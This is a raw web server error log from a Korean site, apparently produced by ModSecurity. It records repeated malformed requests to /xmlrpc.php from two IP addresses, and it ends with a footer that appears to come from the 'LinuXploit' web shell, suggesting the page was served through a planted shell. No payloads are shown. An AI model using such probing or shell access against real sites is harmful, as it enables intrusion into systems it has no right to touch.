[Thu May 01 01:44:17.215516 2025] [:error] [pid 3513672:tid 140439340422720] [client 93.152.220.171:45114] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJTYa3biretj54slUZmIAAAAZY"]
[Thu May 01 01:47:48.364131 2025] [:error] [pid 3513667:tid 140438879053376] [client 93.152.220.171:44748] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJUNM30vzYYSQ6iukb4pgAAARw"]
[Thu May 01 01:47:48.364220 2025] [:error] [pid 3513667:tid 140438879053376] [client 93.152.220.171:44748] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJUNM30vzYYSQ6iukb4pgAAARw"]
[Thu May 01 01:47:49.886183 2025] [:error] [pid 3513842:tid 140440372233792] [client 93.152.220.171:44758] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJUNXo2pBPzkcE4YfdXUQAAAgY"]
[Thu May 01 01:47:49.886263 2025] [:error] [pid 3513842:tid 140440372233792] [client 93.152.220.171:44758] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJUNXo2pBPzkcE4YfdXUQAAAgY"]
[Thu May 01 01:52:05.179087 2025] [:error] [pid 3513848:tid 140439952795200] [client 93.152.220.171:56582] [client 93.152.220.171] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJVNcd8xAM_g6QziOrh7AAAAk8"]
[Thu May 01 01:52:05.179176 2025] [:error] [pid 3513848:tid 140439952795200] [client 93.152.220.171:56582] [client 93.152.220.171] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBJVNcd8xAM_g6QziOrh7AAAAk8"]
[Thu May 01 14:01:43.534038 2025] [:error] [pid 3528468:tid 140440547288640] [client 93.152.220.158:38690] [client 93.152.220.158] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMANzu6Kz-qlLZTCAlpggAAAMU"]
[Thu May 01 14:01:43.534163 2025] [:error] [pid 3528468:tid 140440547288640] [client 93.152.220.158:38690] [client 93.152.220.158] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMANzu6Kz-qlLZTCAlpggAAAMU"]
[Thu May 01 14:01:45.645616 2025] [:error] [pid 3528468:tid 140440179299904] [client 93.152.220.158:45570] [client 93.152.220.158] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMAOTu6Kz-qlLZTCAlpgwAAAMg"]
[Thu May 01 14:01:45.645692 2025] [:error] [pid 3528468:tid 140440179299904] [client 93.152.220.158:45570] [client 93.152.220.158] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMAOTu6Kz-qlLZTCAlpgwAAAMg"]
[Thu May 01 14:02:12.227596 2025] [:error] [pid 3528468:tid 140438635796032] [client 93.152.220.158:57642] [client 93.152.220.158] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMAVDu6Kz-qlLZTCAlpmQAAAN0"]
[Thu May 01 14:02:12.227685 2025] [:error] [pid 3528468:tid 140438635796032] [client 93.152.220.158:57642] [client 93.152.220.158] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMAVDu6Kz-qlLZTCAlpmQAAAN0"]
[Thu May 01 14:07:47.691981 2025] [:error] [pid 3528504:tid 140440589252160] [client 93.152.220.158:58862] [client 93.152.220.158] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMBo9_f4wSRlzsZzcWhhAAAAIA"]
[Thu May 01 14:07:47.692065 2025] [:error] [pid 3528504:tid 140440589252160] [client 93.152.220.158:58862] [client 93.152.220.158] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMBo9_f4wSRlzsZzcWhhAAAAIA"]
[Thu May 01 14:07:49.472528 2025] [:error] [pid 3528468:tid 140439071987264] [client 93.152.220.158:58868] [client 93.152.220.158] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMBpTu6Kz-qlLZTCAlsLwAAANo"]
[Thu May 01 14:07:49.472611 2025] [:error] [pid 3528468:tid 140439071987264] [client 93.152.220.158:58868] [client 93.152.220.158] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMBpTu6Kz-qlLZTCAlsLwAAANo"]
[Thu May 01 14:15:38.714189 2025] [:error] [pid 3528620:tid 140440555681344] [client 93.152.220.158:42232] [client 93.152.220.158] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMDevJSBCzRI3BNdzFd6gAAAUQ"]
[Thu May 01 14:15:38.714288 2025] [:error] [pid 3528620:tid 140440555681344] [client 93.152.220.158:42232] [client 93.152.220.158] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "69"] [id "200002"] [msg "Failed to parse request body."] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [hostname "ysbbs.or.kr"] [uri "/xmlrpc.php"] [unique_id "aBMDevJSBCzRI3BNdzFd6gAAAUQ"]

Youez - 2016 - github.com/yon3zu
LinuXploit